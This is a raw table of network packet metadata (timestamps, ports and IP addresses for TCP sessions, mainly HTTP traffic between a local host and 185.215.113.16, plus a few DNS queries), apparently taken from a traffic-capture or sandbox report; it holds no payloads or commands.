Dec 26, 2024 13:23:18.627351046 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.627530098 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.627968073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.628042936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.628053904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.628135920 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.628148079 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.628758907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.628820896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.628833055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.628859997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.628920078 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.629601955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.629625082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.629636049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.629755020 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.629808903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.630453110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.630506992 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.630517006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.630527973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.630590916 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.630664110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.631181002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.631191969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.631202936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.631244898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.631284952 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.631299019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.631973982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.632024050 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.632033110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.632045031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.632106066 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.632158041 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.632677078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.632735968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.632747889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.632833958 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.632843018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.633569002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.633590937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.633600950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.633651972 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.636365891 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.823966980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.823986053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.823998928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.824028969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.824135065 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.824183941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.824315071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.824333906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.824347019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.824389935 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.824846029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.824889898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.824902058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.825021982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.825057030 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.825589895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.825639009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.825649977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.825798988 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.826122046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.826155901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.826168060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.826209068 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.826266050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.826306105 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.826873064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.826927900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.826937914 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.826973915 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.827374935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.827430964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.827442884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.827521086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.827573061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.828170061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.828229904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.828250885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.828262091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.828306913 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.828318119 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.829015017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.829062939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.829077005 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.829085112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.829132080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.829298019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.829791069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.829824924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.829838037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.829865932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.830142975 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.830529928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.830584049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.830595016 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.830683947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.830770969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.830770969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.831326962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.831366062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.831377983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.831428051 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.831479073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.832420111 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.832508087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.832520008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.832530975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.832644939 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.832644939 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.832998037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.833009958 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.833020926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.833086014 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.833086014 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.833102942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.833682060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.833750963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.833758116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.833770990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.833834887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.833973885 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.834516048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.834543943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.834556103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.834589005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.834620953 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.835278034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.835339069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.835350037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.835433006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.835462093 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.836091995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.836165905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.836179972 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.836186886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.836335897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.836399078 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.836925983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.836990118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.837002039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.837053061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.837142944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.837779999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.837847948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.837858915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.837886095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.837907076 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.837907076 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.838511944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.838571072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.838582993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.838655949 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.838670969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.839200020 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.839241028 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.839272022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.839282036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.839335918 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.839359045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.840105057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.840141058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.840153933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.840199947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.840220928 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.840833902 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.840868950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.840882063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.840914965 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.840951920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.841595888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.841649055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.841660976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.841685057 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.841696978 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.841717958 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.842348099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.842394114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.842406034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.842456102 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.842497110 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.842542887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.843235970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.843267918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.843278885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.843293905 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.843333006 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:18.843452930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.843952894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.843972921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.843985081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:18.844057083 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.035017967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035041094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035052061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035106897 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.035126925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035258055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035286903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035299063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035307884 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.035326004 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.035922050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035933971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035944939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035957098 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.035969019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.035990953 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.036330938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.036374092 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.036384106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.036396027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.036426067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.036850929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.036932945 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.036943913 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.036981106 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.037024021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.037091017 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.037631989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.037667990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.037678957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.037715912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.038146019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.038188934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.038199902 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.038222075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.038234949 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.038285017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.038938046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.038958073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.038969994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.038984060 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.038995981 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.039124012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.039674997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.039726019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.039747000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.039757013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.039797068 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.039818048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.040522099 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.040574074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.040586948 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.040592909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.040627003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.040642023 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.041302919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.041366100 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.041414976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.041425943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.041471004 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.041491985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.042443991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.042494059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.042504072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.042515993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.042530060 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.042552948 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.042890072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.042916059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.042927027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.042951107 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.042963028 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:19.043014050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 26, 2024 13:23:19.092174053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:28.715337992 CET	49716	80	192.168.2.8	185.215.113.16
Dec 26, 2024 13:23:29.118669987 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:29.118722916 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:29.119045019 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:29.119556904 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:29.119575024 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:30.916122913 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:30.916610956 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:30.916650057 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:30.918384075 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:30.918469906 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:30.919532061 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:30.919657946 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:31.040968895 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:31.041004896 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:31.149374962 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:31.155582905 CET	49704	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:31.155745983 CET	49704	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:31.156141996 CET	49737	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:31.156193018 CET	443	49737	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:31.156419992 CET	49737	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:31.160094023 CET	49737	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:31.160109043 CET	443	49737	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:31.275305033 CET	443	49704	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:31.275338888 CET	443	49704	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:32.591169119 CET	443	49737	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:32.591289997 CET	49737	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:40.587721109 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:40.587907076 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:40.587984085 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:40.949249983 CET	49731	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:23:40.949273109 CET	443	49731	216.58.208.228	192.168.2.8
Dec 26, 2024 13:23:51.980885029 CET	443	49737	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:51.980948925 CET	49737	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:59.228225946 CET	49737	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:59.228287935 CET	443	49737	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:59.228317976 CET	49737	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:59.228326082 CET	443	49737	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:59.228678942 CET	49785	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:59.228710890 CET	443	49785	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:59.228780985 CET	49785	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:59.228981972 CET	49785	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:23:59.229100943 CET	443	49785	23.206.229.226	192.168.2.8
Dec 26, 2024 13:23:59.229171991 CET	49785	443	192.168.2.8	23.206.229.226
Dec 26, 2024 13:24:29.038870096 CET	49789	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:24:29.038947105 CET	443	49789	216.58.208.228	192.168.2.8
Dec 26, 2024 13:24:29.039024115 CET	49789	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:24:29.039494038 CET	49789	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:24:29.039505005 CET	443	49789	216.58.208.228	192.168.2.8
Dec 26, 2024 13:24:30.819369078 CET	443	49789	216.58.208.228	192.168.2.8
Dec 26, 2024 13:24:30.819694042 CET	49789	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:24:30.819725990 CET	443	49789	216.58.208.228	192.168.2.8
Dec 26, 2024 13:24:30.820429087 CET	443	49789	216.58.208.228	192.168.2.8
Dec 26, 2024 13:24:30.820729017 CET	49789	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:24:30.820818901 CET	443	49789	216.58.208.228	192.168.2.8
Dec 26, 2024 13:24:30.865319967 CET	49789	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:24:40.501012087 CET	443	49789	216.58.208.228	192.168.2.8
Dec 26, 2024 13:24:40.501090050 CET	443	49789	216.58.208.228	192.168.2.8
Dec 26, 2024 13:24:40.501199007 CET	49789	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:24:42.289361954 CET	49789	443	192.168.2.8	216.58.208.228
Dec 26, 2024 13:24:42.289414883 CET	443	49789	216.58.208.228	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 13:22:45.060384989 CET	58482	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:45.197129965 CET	53	58482	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:45.202832937 CET	51720	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:45.341389894 CET	53	51720	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:45.348136902 CET	57286	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:45.485130072 CET	53	57286	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:45.488822937 CET	60532	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:45.626677036 CET	53	60532	1.1.1.1	192.168.2.8
Dec 26, 2024 13:22:45.630362034 CET	58793	53	192.168.2.8	1.1.1.1
Dec 26, 2024 13:22:45.777609110 CET	53	58793	1.1.1.1	192.168.2.8
